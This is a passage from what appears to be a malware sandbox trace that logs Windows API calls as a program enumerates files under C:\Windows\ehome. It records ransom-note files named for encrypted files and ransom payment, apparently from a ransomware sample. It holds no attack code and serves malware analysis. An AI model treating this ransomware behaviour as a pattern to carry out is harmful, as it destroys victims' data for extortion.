ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x0, cFileName="ItvRes.dll.mui", cAlternateFileName="")) returned 1 [0253.116] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x11, dwReserved1=0x0, cFileName="mcplayer.dll.mui", cAlternateFileName="")) returned 1 [0253.116] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x11, dwReserved1=0x0, cFileName="mcupdate.exe.mui", cAlternateFileName="")) returned 1 [0253.116] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x0, cFileName="MediaCenterWebLauncherRes.dll.mui", cAlternateFileName="")) returned 1 [0253.116] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3932, dwReserved0=0x11, dwReserved1=0x0, cFileName="playready_eula.txt", cAlternateFileName="")) returned 1 [0253.117] AreFileApisANSI () returned 1 [0253.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0253.117] AreFileApisANSI () returned 1 [0253.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0253.118] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.118] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.118] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.119] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.119] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.119] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.120] CloseHandle (hObject=0x178) returned 1 [0253.121] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0253.121] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.121] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f40, dwReserved0=0x11, dwReserved1=0x0, cFileName="playReady_eula_oem.txt", cAlternateFileName="")) returned 1 [0253.121] AreFileApisANSI () returned 1 [0253.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0253.121] AreFileApisANSI () returned 1 [0253.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0253.122] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0253.122] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0253.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0253.122] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0253.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0253.122] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0253.122] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0253.122] CloseHandle (hObject=0x178) returned 1 [0253.122] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0253.122] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.122] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x11, dwReserved1=0x0, cFileName="WTVConverter.exe.mui", cAlternateFileName="")) returned 1 [0253.123] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x11, dwReserved1=0x0, cFileName="WTVConverter.exe.mui", cAlternateFileName="")) returned 0 [0253.123] FindClose (in: hFindFile=0x549790 | out: hFindFile=0x549790) returned 1 [0253.123] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b4ea8b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x86b4ea8b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x5ea807f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x32, dwReserved1=0x0, cFileName="ItvRes.dll", cAlternateFileName="")) returned 1 [0253.123] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eeb56a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x9e05e280, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x721b1dc5, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x32, dwReserved1=0x0, cFileName="loadmxf.exe", cAlternateFileName="")) returned 1 [0253.123] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3134362, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd3134362, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfde5a73f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8c, dwReserved0=0x32, dwReserved1=0x0, cFileName="luttx43.ttf", cAlternateFileName="")) returned 1 [0253.123] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd318061c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd318061c, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfde5a73f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c200, dwReserved0=0x32, dwReserved1=0x0, cFileName="luttx83.ttf", cAlternateFileName="")) returned 1 [0253.123] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3218b90, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd3218b90, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfdef2cb7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x422fb8, dwReserved0=0x32, dwReserved1=0x0, cFileName="malgunmc.ttf", cAlternateFileName="")) returned 1 [0253.123] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2ffa80a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2ffa80a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ffa80a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x32, dwReserved1=0x0, cFileName="markup.dll", cAlternateFileName="")) returned 1 [0253.123] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33fed32, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa33fed32, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa33fed32, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5000, dwReserved0=0x32, dwReserved1=0x0, cFileName="mcepg.dll", cAlternateFileName="")) returned 1 [0253.124] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee304ab6, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xee304ab6, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x353189e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x478ff, dwReserved0=0x32, dwReserved1=0x0, cFileName="mcetuningoverrides.xml", cAlternateFileName="")) returned 1 [0253.124] AreFileApisANSI () returned 1 [0253.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4acc88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0253.125] AreFileApisANSI () returned 1 [0253.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x52cd80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0253.125] GetFileInformationByHandle (in: hFile=0x1f0, lpFileInformation=0x4ac624 | out: lpFileInformation=0x4ac624) returned 1 [0253.125] FileTimeToSystemTime (in: lpFileTime=0x4ac5f8, lpSystemTime=0x4ac5cc | out: lpSystemTime=0x4ac5cc) returned 1 [0253.125] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5cc, lpLocalTime=0x4ac5dc | out: lpLocalTime=0x4ac5dc) returned 1 [0253.126] FileTimeToSystemTime (in: lpFileTime=0x4ac5e8, lpSystemTime=0x4ac5bc | out: lpSystemTime=0x4ac5bc) returned 1 [0253.126] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5bc, lpLocalTime=0x4ac5cc | out: lpLocalTime=0x4ac5cc) returned 1 [0253.127] FileTimeToSystemTime (in: lpFileTime=0x4ac5d8, lpSystemTime=0x4ac5ac | out: lpSystemTime=0x4ac5ac) returned 1 [0253.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ac5ac, lpLocalTime=0x4ac5bc | out: lpLocalTime=0x4ac5bc) returned 1 [0253.128] CloseHandle (hObject=0x1f0) returned 1 [0253.128] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0253.128] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x510000) returned 1 [0253.128] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d1667c, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x72d1667c, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe6903f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcGlidHost.exe", cAlternateFileName="")) returned 1 [0253.128] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d2c280, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x9e9e7900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x14b449e5, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x1d000, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcglidhostobj.dll", cAlternateFileName="")) returned 1 [0253.128] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f3d83d4, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x7f3d83d4, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x308ef750, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x1a, dwReserved1=0x0, cFileName="McITvVmData.dll", cAlternateFileName="")) returned 1 [0253.128] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3424e92, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3424e92, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa344aff2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xeae00, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcplayer.dll", cAlternateFileName="")) returned 1 [0253.128] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2ffa80a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2ffa80a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ffa80a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32c00, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcplayerinterop.dll", cAlternateFileName="")) returned 1 [0253.128] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76741b87, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x76741b87, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x30b2abf0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x1a, dwReserved1=0x0, cFileName="McrMgr.dll", cAlternateFileName="")) returned 1 [0253.129] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33304b6f, ftCreationTime.dwHighDateTime=0x1ca041f, ftLastAccessTime.dwLowDateTime=0x33304b6f, ftLastAccessTime.dwHighDateTime=0x1ca041f, ftLastWriteTime.dwLowDateTime=0xecde2b70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0x1a, dwReserved1=0x0, cFileName="McrMgr.exe", cAlternateFileName="")) returned 1 [0253.129] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181973fb, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x181973fb, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x181973fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcskin.wmz", cAlternateFileName="")) returned 1 [0253.129] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ae9ecb, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x89ae9ecb, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe6a5c330, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcspad.exe", cAlternateFileName="")) returned 1 [0253.129] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefae1cd1, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xefae1cd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xefae1cd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbc7, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcsrchPH.propdesc", cAlternateFileName="")) returned 1 [0253.129] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ce22f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa32ce22f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa32ce22f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c000, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcstore.dll", cAlternateFileName="")) returned 1 [0253.129] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3235cae, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3235cae, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3235cae, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcstoredb.dll", cAlternateFileName="")) returned 1 [0253.129] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33fed32, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa33fed32, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3424e92, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30800, dwReserved0=0x1a, dwReserved1=0x0, cFileName="mcupdate.exe", cAlternateFileName="")) returned 1 [0253.129] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6ca989, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x0, cFileName="MCX", cAlternateFileName="")) returned 1 [0253.129] AreFileApisANSI () returned 1 [0253.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0253.130] GetFileType (hFile=0x1f0) returned 0x1 [0253.130] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55d638 | out: hHeap=0x510000) returned 1 [0253.131] AreFileApisANSI () returned 1 [0253.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 52 [0253.132] AreFileApisANSI () returned 1 [0253.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0253.135] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\MCX\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x143c1240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143c1240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.135] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x143c1240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143c1240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.135] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143c1240, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x143c1240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143c1240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.135] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143c1240, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x143c1240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143c1240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.135] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143c1240, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x143c1240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x143c1240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.135] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c6ca989, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="X02", cAlternateFileName="")) returned 1 [0253.136] AreFileApisANSI () returned 1 [0253.136] MultiByteToWideChar 